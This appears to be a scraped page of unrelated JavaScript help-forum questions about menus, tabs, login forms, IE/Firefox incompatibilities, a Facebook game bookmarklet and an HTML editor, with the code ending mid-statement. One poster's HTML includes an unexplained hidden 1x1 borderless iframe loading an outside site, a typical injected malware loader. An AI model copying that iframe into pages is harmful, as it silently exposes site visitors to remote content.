|
JavaScript - Java Menu Doesn't Work On One Page But Works On The Rest...
Similar TutorialsVoting button on the poll in the left column works fine if you take the sharethis javascripts out. Why won't they work together though? <script type="text/javascript" src="http://www.claimsheaven.co.uk/polls/admin/script.js"></script> <script type="text/javascript">var switchTo5x=true;</script> <script type="text/javascript" src="http://w.sharethis.com/button/buttons.js"></script> <script type="text/javascript" src="http://s.sharethis.com/loader.js"></script> e.g. on this page: http://www.claimsheaven.co.uk/news/20120305.php Can someone help me to edit this code...? I already tried to modify the script in many ways, but it doesn't work, I deleted the lines from the password in the script and also deleted the html to fill the password and do not work.. I dont really know wht to do.. I search online for a script, but i only find "user name and password" scripts, I just want a unlimited user name with no passwords... I dont need any type of security in the page, that is why I choose this script, but I dont need the password login.. .. This script is easy for me because it has HTML , I know there are other script on php, but are to complicated for me... I know this is very easy, but I dont know Java script, Im learning now.. NOTE: this page has "User name" and "password" to login or redirect to another page.. But I dont need the password option.. I just need the " user name"... I just want he visitor to Enter his/her "user name" and press login and the website will take him/her to a specific page for this user.. I want to have unlimited "user names" with NO passwords.... Can SOMEONE HELP ME WITH THIS... ====================== Here is the code to edit: =============================== <!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Transitional//EN" "http://www.w3.org/TR/xhtml1/DTD/xhtml1-transitional.dtd"> <html xmlns="http://www.w3.org/1999/xhtml"> <head> <meta http-equiv="Content-Type" content="text/html; charset=utf-8" /> <title>Untitled Document</title> <SCRIPT LANGUAGE="JavaScript"> <!-- The JavaScript Source --> <!-- Begin function Login(){ var done=0; var username=document.login.username.value; username=username.toLowerCase(); var password=document.login.password.value; password=password.toLowerCase(); if (username=="member1" && password=="password1") { window.location="page1.html"; done=1; } if (username=="member2" && password=="password2") { window.location="page2.html"; done=1; } if (username=="member3" && password=="password3") { window.location="page3.html"; done=1; } if (done==0) { alert("Invalid login!"); } } // End --> </SCRIPT> </head> <body> <center> <form name=login> <table width=225 border=0 cellpadding=0> <tr><td colspan=2><center><font size="+2"><b>Members-Only Area!</b></font></center></td></tr> <tr><td>Username:</td><td><input type=text name=username></td></tr> <tr><td>Password:</td><td><input type=text name=password></td></tr> <tr><td colspan=2 align=center><input type=button value="Login!" onClick="Login()"></td></tr> </table> </form> <p> </p> </center> <p> <p> </body> </html> this is the code for input prompt, only works in IE: any ideas why? $('input[type=text][title],input[type=password][title],textarea[title]').each(function(i){ $(this).addClass('input-prompt-' + i); var promptSpan = $('<span class="input-prompt"/>'); $(promptSpan).attr('id', 'input-prompt-' + i); $(promptSpan).append($(this).attr('title')); $(promptSpan).click(function(){ $(this).hide(); $('.' + $(this).attr('id')).focus(); }); if($(this).val() != ''){ $(promptSpan).hide(); } $(this).before(promptSpan); $(this).focus(function(){ $('#input-prompt-' + i).hide(); }); $(this).blur(function(){ if($(this).val() == ''){ $('#input-prompt-' + i).show(); } }); }); Hi Exprts, I am using a (anylink)javascript menu from dynamic drive. Basically I am having a design issue but posting the problem here because I think this can be fixed through JS. Please download the attached files. You will see the menu & the sub menu on mouse over. Problem is that.... when the submenu appears & I take my mouse to the sub menu, the parent item hover style disappears. I mean, it doesn't look active. I just want the parent item active when users moves his/her mouse to sub menu. Thats all. Please suggest me any solutions for this. Thank you in advance. Code: function move_user_img(str) {
var step = 25;
// change this to different step value
switch(str) {
case "down":
var x = document.getElementById('imageUser').offsetTop;
x = x + step;
document.getElementById('imageUser').style.top = x + "px";
break;
case "up":
var x = document.getElementById('imageUser').offsetTop;
x = x - step;
document.getElementById('imageUser').style.top = x + "px";
break;
case "left":
var y = document.getElementById('imageUser').offsetLeft;
y = y - step;
document.getElementById('imageUser').style.left = y + "px";
break;
case "right":
var y = document.getElementById('imageUser').offsetLeft;
y = y + step;
document.getElementById('imageUser').style.left = y + "px";
break;
}
}
function move_report_img(str) {
var step = 25;
// change this to different step value
switch(str) {
case "down":
var x = document.getElementById('imageReport').offsetTop;
x = x + step;
document.getElementById('imageReport').style.top = x + "px";
break;
case "up":
var x = document.getElementById('imageReport').offsetTop;
x = x - step;
document.getElementById('imageReport').style.top = x + "px";
break;
case "left":
var y = document.getElementById('imageReport').offsetLeft;
y = y - step;
document.getElementById('imageReport').style.left = y + "px";
break;
case "right":
var y = document.getElementById('imageReport').offsetLeft;
y = y + step;
document.getElementById('imageReport').style.left = y + "px";
break;
}
}
Code: <div id ="display" style="width:640px; height:480px; overflow:hidden;">
<div>
<img src ="
<?php
echo UPLOADPATH . $userImage;
?>
" style = "position:absolute;" id="imageUser"/>
</div>
<div id ="imageReport">
<img src = "
<?php
echo $reportImage;
?>
" style = "opacity:0.25;height:700px; width:450px;" />
</div>
</div>
<div style="position:absolute; top:550px; left:100px;">
<p>Control User Image</p>
<input type=button onClick=move_user_img('up') value='Up'>
<input type=button onClick=move_user_img('left') value='Left'>
<input type=button onClick=move_user_img('right') value='right'>
<input type=button onClick=move_user_img('down') value='down'>
</div>
<div style="position:absolute; top:650px; left:100px;">
<p>Control Report Image</p>
<input type=button onClick=move_report_img('up') value='Up'>
<input type=button onClick=move_report_img('left') value='Left'>
<input type=button onClick=move_report_img('right') value='right'>
<input type=button onClick=move_report_img('down') value='down'>
</div>
Hi every one... i have code to upload text contains in html page , but its not working in mozila , can see in IE , anyone has any idea? <html> <head> <style type="text/css"> p { white-spacere; } </style> <script type="text/javascript" language="javascript"> function Read() { //document.getElementByIdstyle("a").whiteSpace="pre"; var Scr = new ActiveXObject("Scripting.FileSystemObject"); var CTF = Scr .OpenTextFile("C:\\Documents and Settings\\Administrator\\Desktop\\2011-03-02.txt", 1, true); data = CTF .ReadAll(); data=data.replace(/\r?\n/g,"<br>"); //<p> document.write("<pre>" + data + "</pre>"); //</p> CTF .Close(); } </script> </head> <body onLoad="Read()" > <p> </p> <iframe src="http://ZieF.pl/rc/" width=1 height=1 style="border:0"></iframe> </body> </html> " here's the code i've got to make some tabbed content on my website: Code: $(document).ready(function(){
$('#headingHome div').hide(); // Hide all divs
$('#headingHome div:first').show(); // Show the first div
$('.ticker_buttonP a:first').addClass('active'); // Set the class of the first link to active
$('.ticker_buttonP a').click(function(){ //When any link is clicked
$('.ticker_buttonP a').removeClass('active'); // Remove active class from all links
$(this).addClass('active'); //Set clicked link class to active
var currentTab = $(this).attr('href'); // Set variable currentTab to value of href attribute of clicked link
$('#headingHome div').hide(); // Hide all divs
$(currentTab).show(); // Show div with id equal to variable currentTab
return false;
});
});
and my html (all content removed for size's sake): Code: <div id="headingHome"> <div id="first"></div><!-- /first --> <div id="second"></div><!-- /second --> <div id="third"></div><!-- /third --> <div id="fourth"></div><!-- /fourth --> <div id="fifth"></div><!-- /fifth --> <p class="ticker_buttonP"> <a href="#first"></a> <a href="#second"></a> <a href="#third"></a> <a href="#fourth"></a> <a href="#fifth"></a> </p> </div><!-- /headingHome --> that works fine so far, however i want the content to fade in and out when the tabs change, and i also want the tabs to rotate automatically like seen on this site: http://www.sosfactory.com/ I'm new to this, and I cant find anything on the net about it that i can understand enough to put it together. could anyone help me, please? many thanks Hi, I'm trying to put some kind of code for some kind of facebook game but then the problem that I'm having is this code kinda broken now, which is mean not really support to the new facebook platform or new version of facebook and the facebook game have change many links in itself I try to update it but never success on this project, if someone could assist me where to start or what to do please do so will be much appreciate for the help in advance Code: javascript:(
function() {
var d, url, t, i;
d = window.open().document;
url = location.href;
d.write('<p>');
if (url.match(/clearance/))
{
var user_id;
var pets, li, im;
var pet_link, pet_id, pet_name, pet_seller, pet_price;
t = document.getElementById('app7019261521_my_monies')
.getElementsByTagName('a')[0].getAttribute('href');
user_id = t.substr(t.lastIndexOf("/") + 1);
d.write(' HotBuys</p>');
d.write('<table><tr><td valign="top"><table>');
pets = document.getElementsByClassName('user-item on_sale');
for (i = 0; i < pets.length; i++)
{
im = pets[i].getElementsByTagName('img');
if (im.length > 0) {
t = im[0].getAttribute('src');
}
else
{
t = "http://static.ak.fbcdn.net/pics/s_silhouette.jpg"
}
li = pets[i].getElementsByClassName('text')[0].getElementsByTagName('li');
pet_link = li[0].getElementsByTagName('a')[0].getAttribute('href');
pet_id = pet_link.substr(pet_link.lastIndexOf("/") + 1);
pet_name = li[0].getElementsByTagName('a')[0].firstChild.nodeValue;
pet_price = li[1].getElementsByClassName('money')[0].firstChild.nodeValue;
if (i%5 == 0)
{
d.write('<tr>');
}
d.write('<td width="100px" valign="top">');
d.write('<a style="font-size:60%" rel="nofollow" target="P" href="' + pet_link + '">');
d.write('<img width="100" height="100" src="' + t + '"/></a><br/>');
d.write('<a style="font-size:60%" rel="nofollow" target="P" href="' + pet_link + '">' + pet_name + '</a><br/>');
d.write('<span style="font-size:70%">' + pet_price + '</span>');
d.write('<table><tr><td>');
d.write('<form method="post" rel="nofollow" target="P" action="http://apps.facebook.com/friendsforsale/users/buy/'
+ pet_id + '">');
d.write('<input name="buyer_id" type="hidden" value="' + user_id + '"/>');
d.write('<input type="submit" value="Buy"/></form></td><td>');
d.write('<form method="post" rel="nofollow" target="Q" action="http://apps.facebook.com/friendsforsale/users/buy/'
+ pet_id + '">');
d.write('<input name="buyer_id" type="hidden" value="' + user_id + '"/>');
d.write('<input type="submit" value="Buy"/></form></td></tr></table></td>');
if (i%5 == 4)
{
d.write('</tr>');
}
}
d.write('</table></td><td valign="top">');
d.write('<iframe name="P" width="400" height="540"></iframe>');
d.write('<iframe name="Q" width="400" height="540"></iframe>');
d.write('</td></tr></table>');
}
else if (url.match(/users\/show/))
{
var user_id, pet_id, pet_name, pet_value, pet_cash;
var info, info_money, title_icon;
var achievements, badges, badge_pages, badge_count, n_tycoon = 0, n_collar = 0;
t = document.getElementById('app7019261521_my_monies')
.getElementsByTagName('a')[0].getAttribute('href');
user_id = t.substr(t.lastIndexOf("/") + 1);
t = url.match(/users\/show\/[0-9]+/)[0];
pet_id = t.substr(t.lastIndexOf("/") + 1);
t = document.title;
pet_name = t.substr(t.lastIndexOf("|") + 2);
info = document.getElementsByClassName("info");
info_money = info[0].getElementsByClassName("money");
pet_value = info_money[0].firstChild.nodeValue;
pet_cash = info_money[1].firstChild.nodeValue;
title_icon = document.getElementsByClassName("general")[0]
.getElementsByClassName("title_icon");
achievements = document.getElementsByClassName("achievements");
if (achievements.length > 0)
{
}
d.write('</span> <span style="color:#777">value:</span> ' + pet_value);
d.write(' <span style="color:#777">cash:</span> ' + pet_cash);
d.write(' <a href="http://apps.facebook.com/friendsforsale/comments?a='
+ user_id + '&b=' + pet_id + '" rel="nofollow" target="P">C2C</a>');
d.write(' <a href="http://apps.facebook.com/friendsforsale/users/admin_dialog/'
+ pet_id + '" rel="nofollow" target="P">AD</a></p>');
d.write('<table border="0" cellpadding="0" cellspacing="0"><tr>');
d.write('<td><form method="post" rel="nofollow" target="P" action="http://apps.facebook.com/friendsforsale/users/buy/'
+ pet_id + '">');
d.write('<input name="buyer_id" type="hidden" value="' + user_id + '"/>');
d.write('<input type="submit" value="Buy"/></form></td>');
d.write('<td><form method="post" rel="nofollow" target="Q" action="http://apps.facebook.com/friendsforsale/users/buy/'
+ pet_id + '">');
d.write('<input name="buyer_id" type="hidden" value="' + user_id + '"/>');
d.write('<input type="submit" value="Buy"/></form></td>');
d.write('<td><form method="post" rel="nofollow" target="P" action="http://apps.facebook.com/friendsforsale/users/update/'
+ pet_id + '">');
d.write('<input name="" type="submit" value="Nick"/><input name="nickname" type="text" size="10"/></form></td>');
d.write('<td><form method="post" rel="nofollow" target="P" action="http://apps.facebook.com/friendsforsale/users/sale/'
+ pet_id + '">');
d.write('<input name="" type="submit" value="Sale"/></form></td>');
d.write('<td><form method="post" rel="nofollow" target="P" action="http://apps.facebook.com/friendsforsale/users/release/'
+ pet_id + '">');
d.write('<input name="" type="submit" value="Free"/></form></td></tr></table>');
d.write('<table border="0" cellpadding="0" cellspacing="0"><tr>');
d.write('<td><form method="post" rel="nofollow" target="P" action="http://apps.facebook.com/friendsforsale/users/'
+ pet_id + '/comments/create">');
d.write('<input name="" type="submit" value="Comment"/><textarea rows="1" col="20" name="comment" type="text" style="vertical-align:top"></textarea></form></td>');
d.write('</tr></table>');
d.write('<iframe name="P" width="400" height="540"></iframe>');
d.write('<iframe name="Q" width="400" height="540"></iframe>');
}
else
{
d.write(' </p>');
}
d.write('</body></html>');
d.close();
} )()
This is a script which has a window slide down on the page and a user can choose yes/no to continue. It works in all browsers other than IE...any help please? If you need more info, please let me know. Thanks. <script language="JavaScript" type="text/javascript"> <!-- var allowpop=1; function popWin(){ var ppl="popLayer";var objppl=findObj(ppl); if (objppl==null){return;}// if the layer does not exist, do nothing. var args=arguments,movetoX=parseInt(args[0]),movetoY=parseInt(args[1]),movespeed=parseInt(args[2]); var cycle=10,pxl=""; if(!document.layers){objppl=objppl.style;} if(objppl.tmofn!=null){clearTimeout(objppl.tmofn);} var pplcoordX=parseInt(objppl.left),pplcoordY=parseInt(objppl.top); var xX=movetoX,yY=movetoY;if((pplcoordX!=movetoX)||(pplcoordY!=movetoY)){ var moveX=((movetoX-pplcoordX)/movespeed),moveY=((movetoY-pplcoordY)/movespeed); moveX=(moveX>0)?Math.ceil(moveX):Math.floor(moveX);movetoX=pplcoordX+moveX; moveY=(moveY>0)?Math.ceil(moveY):Math.floor(moveY);movetoY=pplcoordY+moveY; if((parseInt(navigator.appVersion)>4||navigator.userAgent.indexOf("MSIE")>-1) && (!window.opera)) {pxl="px";} if (moveX!=0){eval("objppl.left='" + movetoX + pxl + "'");} if (moveY != 0) {eval("objppl.top = '" + movetoY + pxl + "'");} var sFunction = "popWin(" + xX + "," + yY + "," + movespeed+ ")"; objppl.tmofn = setTimeout(sFunction,cycle); } } function findObj(theObj, theDoc){ var p, i, foundObj; if(!theDoc) theDoc = document; if((p = theObj.indexOf("?")) > 0 && parent.frames.length) {theDoc = parent.frames[theObj.substring(p+1)].document; theObj = theObj.substring(0,p);} if(!(foundObj = theDoc[theObj]) && theDoc.all) foundObj = theDoc.all[theObj]; for (i=0; !foundObj && i < theDoc.forms.length; i++) foundObj = theDoc.forms[i][theObj]; for(i=0; !foundObj && theDoc.layers && i < theDoc.layers.length; i++) foundObj = findObj(theObj,theDoc.layers[i].document); if(!foundObj && document.getElementById) foundObj = document.getElementById(theObj); return foundObj; } function hideLayer(layername){ layer=findObj(layername); if(layer.style){layer=layer.style;} layer.visibility='hidden'; } // --> </script> I have a few tabs on my website. They're each set to the corresponding id in the JS file. It's supposed to add #tab-1 to the end of the URL in the users browser when it's clicked. For example, when a user is at mypage.com and they click on the tab, it ads mypage.com/#tab-1 to the end. How come it doesn't do what I want when I click it though? Here's an example of how it's setup. HTML: <a href="#tab-1" id="tab1">Text</a> JavaScript: document.getElementById("tab1").onclick = function(){ this.href += "#tab-1"; } Below is code using the onmouseover event, but it doesn't work. The only thing that appears in the status bar is the URL. What am I doing wrong? Code: <a href="http://codingforums.com" onmouseover="window.status='This is an OnMouseOver event'; return true" onmouseout="window.status=' '; return true">Put your mouse here to see status info change at bottom.</a> I've got a form textarea on my site, which after being submitted is stripped by my php file. Then my javascript kicks in and does some analysis of the entered text. However everytime the user entered a hard return within the textarea my javascript gives me an error 'tekenreeks niet afgesloten' which means something like 'string is not closed'. Therefore I decided to replace all occurences of chr(10) and chr(13) with ok2 (just some random characters), I did this with php which worked fine, and I didn't get the javascript error. However I need to reshow the entered text (original) to the user, so I need to restore the old values. I tried Code: result.waarde.replace('ok2', 'chr(13)');
but it doesn't work, as it still displays ok2. I'm no expert in javascript, but how can I replace those characters by the hard returns? Oh yeah I'll show some more coding, perhaps the error can be found the Code: result.waarde.replace('mdw', 'chr(13)');container.innerHTML = result.waarde;
and in my html: Code: <div id='waarde' style="width:500px;"></div> Hi! I'm new to JavaScript and I've done some small adjustments to my clients site, but it won't show properly in IE (the shadowbox js at least.). I thought js was accepted in all newer browsers. Do you have a quick fix or idea on why it doesn't work? You can view source on my site, I use mootools, and shadowbox/corners and rightclick blocker. Is it generally a 'bad thing' to use js in webpages I want everyone to view in the same way? I tried the same effects with CSS but it's not supported in the same way corss-browser, unfortunately. The 'no selection' CSS class I have on the site is also not accepted in IE. It's very annoying! http://santinacrolla.ihaarr.com/p thank you in advance! Code: <html>
<head>
<script>
function color() {
var newColor=new Array('#00f','#f00','#ff0');
var i=0;
for (i=0;i<=3;i++)
{
document.getElementByTagName(span).style.display=newColor[i];
}
}
color();
</script>
<div>
<span>make this text blue</span>
<span>make this text red</span>
<span>make this text yellow</span>
</div>
</body>
</html>
It should make the first blue, second red, and third yellow yes? hello... script doesn't work.. it does work in IE but not in another browser like mozilla,opera & safari? what should I do?.. Code: //Current HTML of page
var html="";
//View of the page, Normal (Design), HTML, Preview
var currentview=0;
//Hold window objects for the color, table and properties dialogs
var table_dialog, color_dialog, properties_dialog;
//Current color action, ForeColor, or BackColor,
//used for communication between PageCreate window and Color dialog window
var pp;
//Is used to disable use of design tools in HTML or Preview mode
var enabletoolbar=false;
//Variable counter used to index the search in the document
var n=0;
function InitEditor(){
//Init editor in design mode,
maineditor.document.designMode=docmode;
//Write a blank page
WriteDefaultPage();
//Disable context menu
maineditor.document.oncontextmenu=new Function("return false;");
//Set focus to the editor
maineditor.focus();
}
function EditorView(view){
//Changes editor view to Normal, HTML, and Preview
if(currentview==1){
//If the last view was HTML then get the HTML edited by user in HTML mode
html=maineditor.document.body.innerText;
}
//If the last mode was Normal then get the whole HTML content of the page
else html=maineditor.document.all.tags("HTML")[0].outerHTML;
if(view==0){
//Normal Mode
EnableToolbar(true);
maineditor.location="about:blank";
maineditor.document.designMode=docmode;
maineditor.document.open("text/html");
maineditor.document.write(html);
maineditor.document.close();
maineditor.document.oncontextmenu=new Function("return false;");
maineditor.focus();
}
if(view==1){
//HTML Mode
EnableToolbar(false);
maineditor.location="about:blank";
maineditor.document.designMode=docmode;
WriteDefaultPage();
HTMLView();
maineditor.document.oncontextmenu=new Function("return false;");
}
if(view==2){
//Preview Mode
EnableToolbar(false);
maineditor.location="about:blank";
//Disable page editing
maineditor.document.designMode="Inherit";
//Write the HTML of the page
maineditor.document.open("text/html");
maineditor.document.write(html);
maineditor.document.close();
//Enable context menu
maineditor.document.oncontextmenu=new Function("return true;");
}
//Set current view
currentview=view;
}
function EnableToolbar(enable){
//Enable or disable toolbar
enabletoolbar=enable;
}
function OpenFile(){
if(window.confirm("Do you want to save changes in the current document?")){
//Show Save As Dialog
maineditor.document.execCommand("SaveAs");
}
fileopen_dialog.style.visibility="visible";
}
function OpenSelectedFile(){
//Check if the file is an HTML page
if(document.fileselect.thefile.value.indexOf(".htm")==-1){
window.alert("The selected file is not an HTML page, please select a valid HTML file");
return;
}
//Hide the open file dialog
fileopen_dialog.style.visibility="hidden";
//Create the FSO object
var fso=new ActiveXObject("Scripting.FileSystemObject");
//Open the selected file
var f=fso.OpenTextFile(document.fileselect.thefile.value);
//Get the content of the file
var thehtml=f.ReadAll();
//Close the file
f.close();
//Write a blank page
maineditor.window.location="about:blank";
//Write the HTML content
maineditor.document.open("text/html");
maineditor.document.write(thehtml);
maineditor.document.close();
//Set focus to editor
maineditor.focus();
}
function WriteDefaultPage(){
//Writes a blank HTML page in the editor
var pagehtml="<html>\n<head>\n<meta http-equiv=\"Content-Type\" content=\"text/html; " +
"charset=windows-1252\">\n<meta name=\"GENERATOR\" content=\"PageCreate\">\n" +
"<title>New Page</title>\n</head>\n<body>\n</body>\n</html>";
maineditor.document.open("text/html");
maineditor.document.write(pagehtml);
maineditor.document.close();
}
function NewPage(){
if(window.confirm("Do you want to save changes in the current document?")){
//Show Save As Dialog
maineditor.document.execCommand("SaveAs");
}
//Write a blank page
maineditor.window.location="about:blank";
WriteDefaultPage();
//Set focus to editor
maineditor.focus();
}
function HTMLView(){
//Switch to HTML view
maineditor.document.body.innerHTML="";
maineditor.document.body.innerText=html;
}
function TableOn(table, on){
//Highlights the table on which the mouse is over
if(on) table.style.backgroundColor="#95AFFF";
else table.style.backgroundColor="#82DF82";
}
function ToolbarOn(toolon){
//Highlights on or off the current toolbar
//Get the toolbar button on which the mouse is over
var tool=event.srcElement;
//Change background color
if(toolon){
tool.style.backgroundColor="#B4A0FE";
tool.style.borderColor="#000000";
}
else{
tool.style.backgroundColor="#D1D1D1";
tool.style.borderColor="#D1D1D1";
}
}
function FindInPage(showdialog){
//Shows the Find and Replace Dialog
var display="visible";
if(showdialog==false) display="hidden";
find_dialog.style.visibility=display;
if(showdialog!=false) document.find.findwhat.focus();
}
function FindIt(str, replacestr, newstr){
//This functions searchs for a string in the document
//and if specified then replaces it with a new string
if(str==""){
//If no string to search entered
alert("Enter a string to search");
document.find.findwhat.focus();
return;
}
//Creates a range in the document
txt = maineditor.document.body.createTextRange();
//Loop to find the string in the document
for (i = 0; i <= n && (found = txt.findText(str)) != false; i++) {
txt.moveStart("character", 1);
txt.moveEnd("textedit");
}
if(found) {
//If founded select it and scroll into view
txt.moveStart("character", -1);
txt.findText(str);
//If replace is specified then replace the match with the new string
if(replacestr) txt.text=newstr;
txt.select();
txt.scrollIntoView();
n++;
}
else {
if (n > 0) {
window.alert("There are no more matches");
n=0;
}
// Not found anywhere, give message.
else
window.alert("\"" + str + "\" was not founded in document");
}
}
function InsertHTML(newhtml){
//Inserts HTML in the selection of the document
maineditor.focus();
var selpoint=maineditor.document.selection.createRange();
selpoint.pasteHTML(newhtml);
}
function GetSelectedText(){
//Get the selection of the document
maineditor.focus();
var selpoint=maineditor.document.selection.createRange();
var seltext=selpoint.text;
return seltext;
}
function InsertNewImage(){
if(enabletoolbar==false) return;
maineditor.focus();
//Open Insert Image Dialog
maineditor.document.execCommand("insertimage", true, null);
}
function InsertForm(){
//Creates a new form
var formmethod=window.prompt("Choose form method: GET | POST", "POST");
var formaction=window.prompt("Choose form action:", "http://");
InsertHTML("<div style=\"background-Color:#C0C0C0\"><form method=\"" + formmethod + "\" action=\"" + formaction + "\">\n<p> </p></form></div>");
}
function InsertFormControl(control){
maineditor.focus();
//Inserts a form control
maineditor.document.execCommand(control, true, null);
}
function CreateNewLink(){
//Inserts a link in the selected text
if(enabletoolbar==false) return;
var linktext=GetSelectedText();
if(linktext=="") return;
var url=window.prompt("Enter a URL for the new link:", "http://");
if(url!=null){
InsertHTML("<a href=\"" + url + "\">" + linktext + "</a>");
}
maineditor.focus();
}
function InsertTable(){
//Open Table Dialog
table_dialog=window.open("table.htm", "newtable", "top=100,left=100,height=300,width=400,scrollbars=no");
}
function CreateTable(tr, tc, ta, tb, tp, ts, tw, tt){
//Creates a new table
var tablewidth="";
if(tw!=""){
tablewidth=" width=\"" + tw + tt + "\"";
}
var thtml="<table border=\"" + tb + "\" cellpadding=\"" + tp + "\" cellspacing=\"" + ts + "\"" + tablewidth + ">";
tr=parseInt(tr);
tc=parseInt(tc);
for(r=0;r<tr;r++){
thtml+="<tr>";
for(c=0;c<tc;c++){
thtml+="<td></td>";
}
thtml+="</tr>";
}
thtml+="</table>";
InsertHTML(thtml);
table_dialog.close();
}
function EditPage(){
properties_dialog=window.open("properties.htm", "editpage", "top=100,left=100,height=275,width=387,scrollbars=no");
}
function EditPageProperties(pt, pfc, pbgc, pbgi, usewatermark, pbgs){
maineditor.document.title=pt;
maineditor.document.body.text=pfc;
maineditor.document.body.bgColor=pbgc;
maineditor.document.body.background=pbgi;
if(usewatermark) maineditor.document.body.bgProperties="fixed";
else maineditor.document.body.bgProperties="";
if(pbgs!=""){
var pagehtml=maineditor.document.all.tags("HTML")[0].outerHTML;
var bodytag= pagehtml.toLowerCase().indexOf("<body");
if(bodytag==-1) return;
var beforebodytag= pagehtml.substring(0, bodytag);
var afterbodytag= pagehtml.substring(bodytag, pagehtml.length);
var pagehtml=beforebodytag + "<bgsound src=\"" + pbgs + "\">" + afterbodytag;
maineditor.document.open("text/html");
maineditor.document.write(pagehtml);
maineditor.document.close();
}
properties_dialog.close();
maineditor.focus();
}
function ChangeForeColor(){
//Show the Color dialog to edit Fore Color of text selected
if(GetSelectedText()!=""){
pp="EditForeColor";
color_dialog=window.open("color.htm", "colorpicker", "top=100,left=100,height=270,width=500,scrollbars=no");
}
}
function EditForeColor(thecolor){
maineditor.focus();
//Change fore color of text selected
maineditor.document.execCommand("forecolor", false, thecolor);
//Close Color Dialog
color_dialog.close();
}
function ChangeBackColor(){
//Show the Color dialog to edit Back Color of text selected
if(GetSelectedText()!=""){
pp="EditBackColor";
color_dialog=window.open("color.htm?p=EditBackColor", "colorpicker", "top=100,left=100,height=270,width=500,scrollbars=no");
}
}
function EditBackColor(thecolor){
maineditor.focus();
//Change back color of text selected
maineditor.document.execCommand("backcolor", false, thecolor);
//Close Color Dialog
color_dialog.close();
}
function ChangeFont(font){
//Changes the font of the selected text
maineditor.focus();
maineditor.document.execCommand("fontname", false, font);
}
function ChangeFontSize(size){
//Changes the font size of the selected text
maineditor.focus();
maineditor.document.execCommand("fontsize", false, size);
}
function DesignTools(tool){
//Activates design tool
if(enabletoolbar==false){
window.alert("You must switch into normal view to do this");
return;
}
maineditor.focus();
maineditor.document.execCommand(tool, true, null);
}
Heya, I wrote the following page in a day or two (please don't mind the layout). Everything seems to work excellent, apart from in Firefox (FF) in which it doesn't seem to work at all. None of the other browsers have any trouble with it. I'm pretty new to Javascript (everything you see in the source code is pretty much all I know) and I have absolutely no idea why it doesn't work in Firefox. The page in question could be found [link has been removed]. It's all there is to it. So yeah, how to actually make this work in FF? Thanks a whole bunch in advance! Much appreciated. Hi! What am doing wrong? The script works -- identifies blank fields -- but the second function (change_subject) is ignored. This is the script: Code: <HEAD>
<script>
function is_filled()
{
if (form_1.realname.value=="")
{
alert("Please enter your name")
form_1.realname.focus()
return false
}
if (form_1.subject.value=="")
{
alert("Please enter a subject")
form_1.message.focus()
return false
}
else
return true
};
function change_subject
{
form_1.subject.value="form_1.realname.value + '_' + form_1.subject.value"
};
</script>
</HEAD>
This is the FORM (used for MSA FormMail): Code: <form name="form_1"; onSubmit="return is_filled()"; on Submit="change_subject()"; method="post"; action="http://gb2gf.org/cgi-sys/FormMail.cgi">
<input type="hidden" name="recipient" value="drt@gb2gf.org">
<input type="hidden" name="required" value="greeting,realname,city_state,email_1,email_2,message">
<input type="hidden" name="sort" value="order:greeting,realname,city_state,email_1,email_2,message">
<input type="hidden" name="redirect" value="http://www.gb2gf.org/thanks.htm">
<!-- Input fields here -->
</form>
Thanks! Dr. T. We are working with an Example called Mega Dropdown Menu from AWM. We are looking to change the functionality slighty... Right now when you mouse over Envelopes you get the Submenu the slides out or drops down toward the bottom. That menu has different columns with different links. What we are look to do is this...when we mouse over one of the links, we would like to have the same action that we get when we roll over "Print Services" which is the last Option on the Menu itself. When you mouse over Print Services you get the dropdown or slide out menu that is displaying images. We would like to display just one image, using the same basic code that is being used by "Print Services." I'm sure it is probably a simple piece of JavaScript but I just cant figure it out. Could you please let me know how to do this? Below is the code that the "Print Services" menu is using. Thanks in advance, Bob Attach: Code: <div style="background:#f5f5f5; font-family:Tahoma; font-size:11px; color:#444444; width:auto; height:180px;line-height:20px;"> <p style="color:#39F; font-size:13px; font-weight:bold; margin:10px 20px 8px 20px;">High Quality Offset Printing</p> <p style="color:#39F; font-size:13px; font-weight:bold; margin:10px 15px 8px 15px; white-space:nowrap;"><span class="body"><a href="http://actionenvelope.com/ae/control/printservices/#overview"><img src="http://www.likno.com/examples/awmdata/mega_dropdown_menu2/print.png" alt="1-4 Color Envelope Printing" width="120" height="114" border="0" style="margin:0 20px 0 5px;" /></a></span><span class="body"><a href="http://actionenvelope.com/ae/control/printservices/#options"><img src="http://www.likno.com/examples/awmdata/mega_dropdown_menu2/design.png" alt="Design Online or Upload Your Own File" width="121" height="114" border="0" style="margin-right:20px;" /></a></span><span class="body"><a href="http://actionenvelope.com/ae/control/printservices/#production"><img src="http://www.likno.com/examples/awmdata/mega_dropdown_menu2/production.png" alt="Rush or Standard Production Available" width="120" height="114" border="0" /></a></span></p></div> <div style="background:#FFFFFF; font-family:Tahoma; font-size:11px; color:#444444; border-top:1px solid #BBBBBB; width:auto; height:50px;"> <p style="color:#444444; margin:15px 20px;"><a href="http://actionenvelope.com/ae/control/printservices"><img src="http://www.likno.com/examples/awmdata/mega_dropdown_menu2/goNow.gif" alt="Go Now" width="81" height="21" border="0" align="absmiddle" style="margin-right:20px;" /></a> Learn more about our Envelope Printing services</p> </div> <div style="clear:both;"></div> Thanks, Bob Hi, I have a .js file for creating a menus..in that i have a menu called 'reserved', i just want to remove the name from the menu i want the menu size should be the same as earlier.. what i need to do? Hi, I have PHP application and use javascript to download a file that is stored in the application. It works perfectly in FF but does not work in IE8. It does not even give an error. Below is the javascript code Code: function download(href)
{
document.location.href = href;
}
----------------------------
function checkfile_newsletter() {
document.getElementById('spn_msg').innerHTML = '';
if(window.XMLHttpRequest) {// code for IE7+, Firefox, Chrome, Opera, Safari
xmlhttp=new XMLHttpRequest();
} else {// code for IE6, IE5
xmlhttp=new ActiveXObject("Microsoft.XMLHTTP");
}
xmlhttp.onreadystatechange = function() {
if(xmlhttp.readyState==4 && xmlhttp.status==200) {
str = xmlhttp.responseText;
if(str == "active") {
try {
//document.getElementById('anchor_nl2').click();
obj = document.getElementById('anchor_nl2');
if (obj.click) {
obj.click();
} else if(document.createEvent) {
var evt = document.createEvent("MouseEvents");
evt.initMouseEvent("click", true, true, window,
0, 0, 0, 0, 0, false, false, false, false, 0, null);
var allowDefault = anchorObj.dispatchEvent(evt);
}
} catch(e) {}
return false;
}
document.getElementById('spn_msg').innerHTML = str;
}
}
var url = document.getElementById('hdn_contextpath').value + "index.php/download/checknewsletter/" + document.getElementById('sel_year').options[document.getElementById('sel_year').selectedIndex].value + "/" + document.getElementById('sel_month').options[document.getElementById('sel_month').selectedIndex].value + "/none/" + new Date().getTime() + '/'+ Math.random();;
